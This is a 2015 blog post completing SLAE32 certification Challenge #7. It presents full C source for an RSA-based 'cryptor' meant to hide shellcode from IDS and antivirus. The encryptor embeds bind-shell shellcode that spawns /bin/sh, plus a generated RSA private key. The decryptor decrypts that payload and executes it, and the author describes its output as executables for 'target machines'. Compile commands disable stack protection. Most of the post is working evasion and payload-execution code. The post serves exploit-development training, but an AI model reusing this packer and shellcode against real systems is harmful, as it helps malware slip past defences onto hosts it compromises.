SLAE32 Challenge #7 - Cryptor

Submitted by lenbal on Fri, 02/06/2015 - 14:46

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-644

GitHub resource containing challenge files:

https://github.com/bl305/SLAE32

Local link to source files:

http://itfanatic.com/files/Challenge_07_Final.ZIP

This assignment is about creating a custom cryptor to hide the shellcode from IDS and antivirus.

I have decided to use the "weak" version of RSA.

http://hayageek.com/rsa-encryption-decryption-openssl-c/

Other useful links:

https://shanetully.com/2012/04/simple-public-key-encryption-with-rsa-and-openssl/

https://shanetully.com/2012/06/openssl-rsa-aes-and-c/

Weaknesses of my cryptor:

Meant to not be able to crypt longer shellcodes than 255 (might work with longer, haven't tried)
Very sensitive to "bad characters". So if your encoded code contains e.g.: "\x00", you need to generate a new RSA key (or do other workaround)
RSA encryption as it is implemented is weak for security, there is a newer method, see links above

To generate RSA keys, use the following commands:

openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -outform PEM -pubout -out public.pem

To use the private and public keys in the generated private and public files, just copy them inside the encryptor and decryptor e.g. below.

I have left both keys in the encryptor, as it is meant to be our own tool. The decryptor should not contain the private key. Just because it is never good to give out.

Anyway, this basic tool will allow to create separate encryption keys for each and every binary you would like to encrypt.

I have used my own Challenge 01 Solution - Bind shell to create this "monster".

So the encryptor itself:

//Use the below command to generate RSA keys with length of 2048.
//1
//openssl genrsa -out private.pem 2048
//Extract public key from private.pem with the following command.
//
//1
//openssl rsa -in private.pem -outform PEM -pubout -out public.pem
//public.pem is RSA public key in PEM format.
//private.pem is RSA private key in PEM format.
 
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <stdio.h>
 
int padding = RSA_PKCS1_PADDING;
int i;
 
RSA * createRSA(unsigned char * key,int public)
{
    RSA *rsa= NULL;
    BIO *keybio ;
    keybio = BIO_new_mem_buf(key, -1);
    if (keybio==NULL)
    {
        printf( "Failed to create key BIO");
        return 0;
    }
    if(public)
    {
        rsa = PEM_read_bio_RSA_PUBKEY(keybio, &rsa,NULL, NULL);
    }
    else
    {
        rsa = PEM_read_bio_RSAPrivateKey(keybio, &rsa,NULL, NULL);
    }
    if(rsa == NULL)
    {
        printf( "Failed to create RSA");
    }
 
    return rsa;
}
 
int private_encrypt(unsigned char * data,int data_len,unsigned char * key, unsigned char *encrypted)
{
    RSA * rsa = createRSA(key,0);
    int result = RSA_private_encrypt(data_len,data,encrypted,rsa,padding);
    return result;
}
int public_decrypt(unsigned char * enc_data,int data_len,unsigned char * key, unsigned char *decrypted)
{
    RSA * rsa = createRSA(key,1);
    int  result = RSA_public_decrypt(data_len,enc_data,decrypted,rsa,padding);
    return result;
}
 
void printLastError(char *msg)
{
    char * err = malloc(130);;
    ERR_load_crypto_strings();
    ERR_error_string(ERR_get_error(), err);
    printf("%s ERROR: %s\n",msg, err);
    free(err);
}
 
int main(){
 
  char plainText[] = "\x31\xc0\xb0\x66\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x31\xd2\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x53\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x93\x59\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"; //key length : 2048
 
//  char encrypted[] = "\x37\x23\x6b\x87\x48\xf7\x32\x17\x54\xe2\x10\xed\x7b\xbe\x0f\x48\x82\xe7\xbf\x79\x54\xaa\x28\x6d\xed\x1d\x2f\x8d\xda\x01\x26\x03\xc5\xb1\x22\x20\xc0\x72\xbd\x24\xb1\x77\xa4\x61\x5b\x3d\x62\x0c\x59\xcc\x1e\x88\x7b\x5d\x28\xe0\xe9\x67\xf8\x22\xa7\x81\xf8\xe0\x2d\x44\xc5\x1a\x5f\x78\x99\x8f\x37\x41\x57\x42\x41\x26\x57\x4c\x41\x81\xbc\x89\xb3\x70\x59\x37\xf1\xfc\xb9\xf9\xc7\x76\x89\xb6\x99\xab\x84\x38\x87\x2f\x84\xce\x51\xbb\xf5\xdd\xc5\xf1\x65\xc7\x63\x7e\xaf\x6f\x35\xc8\xe0\x45\x88\x7b\xb1\x7c\x6e\x04\x57\xd9\x4b\xaa\x7f\x3a\x14\x74\xfa\x3f\x91\xd9\xba\x75\x50\x31\xc1\xbe\x0d\x16\xae\x9d\xe8\x69\xa0\x08\x98\x28\x97\x17\xd4\xb0\x79\xdd\x31\xad\xda\xfa\xc9\xfb\xe2\x8a\x12\xcc\x73\x6a\x72\x13\xeb\x0a\x06\xeb\xe6\x75\x77\xb5\x97\xad\xd7\xf0\x03\xab\x9c\x53\x87\x08\x74\x49\x86\xb5\xcd\xcb\x1b\xb1\x43\x46\x7c\x2a\xa6\xda\x74\x9f\x75\x10\xbf\xa0\xfe\x79\x5b\x34\x3e\x98\xa0\xbd\x1f\x18\xec\x3f\xb0\x0f\x5a\x1b\x32\xac\x21\x47\xee\x8d\x3d\xac\xc5\x0b\xba\x24\x95\x30\x86\xf2\xc9\xa7\xc5\x12\x5a\x05\x66\xeb\x5e\x72\x2a\x0c"; //key length : 2048
 
 char publicKey[]="-----BEGIN PUBLIC KEY-----\n"\
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2VN2cIeDMyJTOfPi21eS\n"\
"5P0y4xUDTp79Qhyj6L/OjvsuSH+PdcDZW4iN2iYeDTuuRU54II459BU4PC2tbV5P\n"\
"Nab04/imPTFeSD58PR63tZVGP3m1i3yVGidu1C04bgwh6NhhJ8jS58mzMXPMr2fZ\n"\
"7SKBJRvpmlBzVeKZ52wfLXwjHAiO4lDVeRJjn2xmaRpMPTQ/KcTN0If5trhZVST/\n"\
"bAm5GirQQhGi5bUS/upBI/oRiQj8WuVuEEpejQbXgzV0I9HeqNdTz3SHojzt+6al\n"\
"pYgSws09E+NFAxsdXl92dU76QvAEEdHP/7zz+SF3AMPfrXc+zRNtiXaq0WGgdImw\n"\
"AQIDAQAB\n"\
"-----END PUBLIC KEY-----\n";
 
 char privateKey[]="-----BEGIN RSA PRIVATE KEY-----\n"\
"MIIEowIBAAKCAQEA2VN2cIeDMyJTOfPi21eS5P0y4xUDTp79Qhyj6L/OjvsuSH+P\n"\
"dcDZW4iN2iYeDTuuRU54II459BU4PC2tbV5PNab04/imPTFeSD58PR63tZVGP3m1\n"\
"i3yVGidu1C04bgwh6NhhJ8jS58mzMXPMr2fZ7SKBJRvpmlBzVeKZ52wfLXwjHAiO\n"\
"4lDVeRJjn2xmaRpMPTQ/KcTN0If5trhZVST/bAm5GirQQhGi5bUS/upBI/oRiQj8\n"\
"WuVuEEpejQbXgzV0I9HeqNdTz3SHojzt+6alpYgSws09E+NFAxsdXl92dU76QvAE\n"\
"EdHP/7zz+SF3AMPfrXc+zRNtiXaq0WGgdImwAQIDAQABAoIBAGf5yZG/E+NUCdOR\n"\
"PrlIZcxO45jHheSIpoyJ3VXO5sl7nUIsXXut/5AOfief0wLryc344/pXcZy4xkXs\n"\
"aKwJ0gXOUh376bUfOIeB9bjcSHKE764Q0e3hdgikUx8KX5QvE84uMBVzvIwO8T+4\n"\
"snY9ToNo3bbeat5cnUG6/308OpJsjyrj/zlVNKRZQum3aVWWvGHUNubnBDPYSkvx\n"\
"tYYmsMmuv5EJMDVbOOOTZMG1Yi80PDlNuT2JmwUl7n09fBhTfmxt6sH7BmkL58Qc\n"\
"wY+63fWBCpbhvX+L4H5BpQy1VEC+gx0uN8HrxjzACoaedrwx6j60wuokdxkFgJTU\n"\
"bxEFhJECgYEA8mIOJx1hsYGK0eBi1NQMeDhT5bP2y+dh8be3oK1Q9IiIo5VXm6s4\n"\
"Wr00BTq8nj+O+9dfYw2iTu4hVXqM+9TGIrEAlSQub0oW0K1s/A5uppeN0VI01K4s\n"\
"11bScBW4WXx0xauCJ0iBG/LFRTBFTim+ByFbX9/YPRMp0+7qdqaE3z0CgYEA5YkJ\n"\
"08inV2x0gtaCAw/CO5Lk5jl6NrIfnvLpOmAXuBjQgcZMdq1OU7y6whq85IW9EeBy\n"\
"Jhj+b80mtiSsz3oWRO7PXfJggJ5lZBHIuNgcHenj4kpkASduI5YsUaAf9yUhd4kK\n"\
"XIMBfUlf921zGFFQiCEg5SYcU0WX9v4/105m4BUCgYA8N7RAb4JH8WElx1OGgLAg\n"\
"Zg4h8VYNToz82qHaX3TPa+RWj9HWMPGtSXhVHESkJDJHyzg9ibObXHoXnHzOTAx1\n"\
"rffxFa4bpBKLAasj7An9hYWMTZomhKdLUJyzkBHe2ZbBTVzmmZLJ+MSd7eIqCyDU\n"\
"8Kqc5SX59nrb1m2V0MUOGQKBgGoFPTvMX7caykowyIaffcjElePdQp0G82IYsy+a\n"\
"ePo4w/5dWK4saJR3BRBpBzzKpUUflboRK1z6tlnFYOjIbIbUg4XSUU63Wv+40yzF\n"\
"7V7HzNGWKND7pHzdfYUKYBlo1id/bgDDJin3fVMtA8+Ep5zpKGePjd/Msl+MmnJZ\n"\
"rVztAoGBANigq8mZk34FXqVXZdFb+44h+6BgnBfXYB/Ur6zw5EHmTKy9m9wRHo2l\n"\
"oclwFOB7k5HP2kaUUzDSGILq8XgRwNs4Zf5gMlhF+G2471/4BVoVwHqh+SUS4j92\n"\
"C6uBSjlAigrUhYPUy9pl0F/FZDOciU9NLciQVZTMYCRfkJ7fAqbF\n"\
"-----END RSA PRIVATE KEY-----\n";
 
 
unsigned char encrypted[4098]={};
unsigned char decrypted[4098]={};
printf("\nOriginal Length =%d\n",strlen(plainText));
    printf("Original message: \n");
	for (i=0; i<strlen(plainText); i++) {
		printf("\\x%02x", (unsigned char)plainText[i]);
	}
    printf("\n"); 
//################## PRIVATE ENCRYPT ##########################
int encrypted_length= private_encrypt(plainText,strlen(plainText),privateKey,encrypted);
if(encrypted_length == -1)
{
    printLastError("Private Encrypt failed");
    exit(0);
}
printf("\nPrivate encrypted length =%d\n",encrypted_length);
    printf("Private encrypted message: \n");
	for (i=0; i<encrypted_length; i++) {
		printf("\\x%02x", (unsigned char)encrypted[i]);
	}
    printf("\n"); 
 
//################## PUBLIC DECRYPT ##########################
int decrypted_length = public_decrypt(encrypted,encrypted_length,publicKey, decrypted);
if(decrypted_length == -1)
{
    printLastError("Public Decrypt failed");
    exit(0);
}
printf("\nDOUBLE CHECK IF ORIGINAL MATCHES THIS ONE BELOW!!!\n");
printf("Public decrypted Length =%d\n",decrypted_length);
    printf("Public decrypted message: \n");
	for (i=0; i<decrypted_length; i++) {
		printf("\\x%02x", (unsigned char)decrypted[i]);
	}
    printf("\n"); 
}

Script used to automate the process of compiling and running it (stack protector and execstack might not be necessary here - at least in my case):

rm RSA_encrypt
gcc -ggdb -Wall -Wextra -o RSA_encrypt RSA_encrypt.c -fno-stack-protector -z execstack -lcrypto
./RSA_encrypt

So don't forget. The encrypted shellcode output of the encryptor goes into the decryptor source file.

ITFanatic.com

So the decryptor that will generate executables to be deployed on the target machines:

//Use the below command to generate RSA keys with length of 2048.
//1
//openssl genrsa -out private.pem 2048
//Extract public key from private.pem with the following command.
//
//1
//openssl rsa -in private.pem -outform PEM -pubout -out public.pem
//public.pem is RSA public key in PEM format.
//private.pem is RSA private key in PEM format.
 
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <stdio.h>
 
#define RUN_IT 1
//YOU MUST SET THIS VALUE TO "1" IF YOU WANT THE PROGRAM TO EXECUTE THE CODE
#define PRINT_ALL 1
//YOU MUST SET THIS VALUE TO "1" IF YOU WANT THE PROGRAM TO PRINT OUT THE CODE
 
//TYPICAL SETTING IS TO PRINT_ALL OR TO RUN_IT. NOT BOTH.
 
int padding = RSA_PKCS1_PADDING;
int i;
 
RSA * createRSA(unsigned char * key,int public)
{
    RSA *rsa= NULL;
    BIO *keybio ;
    keybio = BIO_new_mem_buf(key, -1);
    if (keybio==NULL)
    {
        printf( "Failed to create key BIO");
        return 0;
    }
    if(public)
    {
        rsa = PEM_read_bio_RSA_PUBKEY(keybio, &rsa,NULL, NULL);
    }
    else
    {
        rsa = PEM_read_bio_RSAPrivateKey(keybio, &rsa,NULL, NULL);
    }
    if(rsa == NULL)
    {
        printf( "Failed to create RSA");
    }
 
    return rsa;
}
 
int public_decrypt(unsigned char * enc_data,int data_len,unsigned char * key, unsigned char *decrypted)
{
    RSA * rsa = createRSA(key,1);
    int  result = RSA_public_decrypt(data_len,enc_data,decrypted,rsa,padding);
    return result;
}
 
void printLastError(char *msg)
{
    char * err = malloc(130);;
    ERR_load_crypto_strings();
    ERR_error_string(ERR_get_error(), err);
    printf("%s ERROR: %s\n",msg, err);
    free(err);
}
 
int main(){
 
  char encrypted[] = "\x37\x23\x6b\x87\x48\xf7\x32\x17\x54\xe2\x10\xed\x7b\xbe\x0f\x48\x82\xe7\xbf\x79\x54\xaa\x28\x6d\xed\x1d\x2f\x8d\xda\x01\x26\x03\xc5\xb1\x22\x20\xc0\x72\xbd\x24\xb1\x77\xa4\x61\x5b\x3d\x62\x0c\x59\xcc\x1e\x88\x7b\x5d\x28\xe0\xe9\x67\xf8\x22\xa7\x81\xf8\xe0\x2d\x44\xc5\x1a\x5f\x78\x99\x8f\x37\x41\x57\x42\x41\x26\x57\x4c\x41\x81\xbc\x89\xb3\x70\x59\x37\xf1\xfc\xb9\xf9\xc7\x76\x89\xb6\x99\xab\x84\x38\x87\x2f\x84\xce\x51\xbb\xf5\xdd\xc5\xf1\x65\xc7\x63\x7e\xaf\x6f\x35\xc8\xe0\x45\x88\x7b\xb1\x7c\x6e\x04\x57\xd9\x4b\xaa\x7f\x3a\x14\x74\xfa\x3f\x91\xd9\xba\x75\x50\x31\xc1\xbe\x0d\x16\xae\x9d\xe8\x69\xa0\x08\x98\x28\x97\x17\xd4\xb0\x79\xdd\x31\xad\xda\xfa\xc9\xfb\xe2\x8a\x12\xcc\x73\x6a\x72\x13\xeb\x0a\x06\xeb\xe6\x75\x77\xb5\x97\xad\xd7\xf0\x03\xab\x9c\x53\x87\x08\x74\x49\x86\xb5\xcd\xcb\x1b\xb1\x43\x46\x7c\x2a\xa6\xda\x74\x9f\x75\x10\xbf\xa0\xfe\x79\x5b\x34\x3e\x98\xa0\xbd\x1f\x18\xec\x3f\xb0\x0f\x5a\x1b\x32\xac\x21\x47\xee\x8d\x3d\xac\xc5\x0b\xba\x24\x95\x30\x86\xf2\xc9\xa7\xc5\x12\x5a\x05\x66\xeb\x5e\x72\x2a\x0c"; //key length : 2048
 
 char publicKey[]="-----BEGIN PUBLIC KEY-----\n"\
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2VN2cIeDMyJTOfPi21eS\n"\
"5P0y4xUDTp79Qhyj6L/OjvsuSH+PdcDZW4iN2iYeDTuuRU54II459BU4PC2tbV5P\n"\
"Nab04/imPTFeSD58PR63tZVGP3m1i3yVGidu1C04bgwh6NhhJ8jS58mzMXPMr2fZ\n"\
"7SKBJRvpmlBzVeKZ52wfLXwjHAiO4lDVeRJjn2xmaRpMPTQ/KcTN0If5trhZVST/\n"\
"bAm5GirQQhGi5bUS/upBI/oRiQj8WuVuEEpejQbXgzV0I9HeqNdTz3SHojzt+6al\n"\
"pYgSws09E+NFAxsdXl92dU76QvAEEdHP/7zz+SF3AMPfrXc+zRNtiXaq0WGgdImw\n"\
"AQIDAQAB\n"\
"-----END PUBLIC KEY-----\n";
 
unsigned char decrypted[4098]={};
 
//################## PUBLIC DECRYPT ##########################
int encrypted_length=strlen(encrypted);
#if PRINT_ALL
printf("Encrypted Length =%d\n",encrypted_length);
    printf("Encrypted message: \n");
	for (i=0; i<encrypted_length; i++) {
		printf("\\x%02x", (unsigned char)encrypted[i]);
	}
    printf("\n"); 
#endif
int decrypted_length = public_decrypt(encrypted,encrypted_length,publicKey, decrypted);
if(decrypted_length == -1)
{
    printLastError("Public Decrypt failed");
    exit(0);
}
 
#if PRINT_ALL
printf("PUBDEC Decrypted Length =%d\n",decrypted_length);
    printf("Decrypted message: \n");
	for (i=0; i<decrypted_length; i++) {
		printf("\\x%02x", (unsigned char)decrypted[i]);
	}
    printf("\n"); 
#endif
 
#if RUN_IT
  int (*ret)() = (int(*)())decrypted;
	#if PRINT_ALL
	printf("\nRunning Shellcode\n");
	#endif
  ret();
#endif
 
}

The script used to automate the process of compilation:

rm RSA_decrypt
gcc -ggdb -Wall -Wextra -o RSA_decrypt RSA_decrypt.c -lcrypto -fno-stack-protector -z execstack
./RSA_decrypt

ITFanatic.com

The result of the execution seem t work fine:

ITFanatic.com

Thats all. Simple.

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SLAE32 Challenge #7 - Cryptor

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SLAE32 Challenge #7 - Cryptor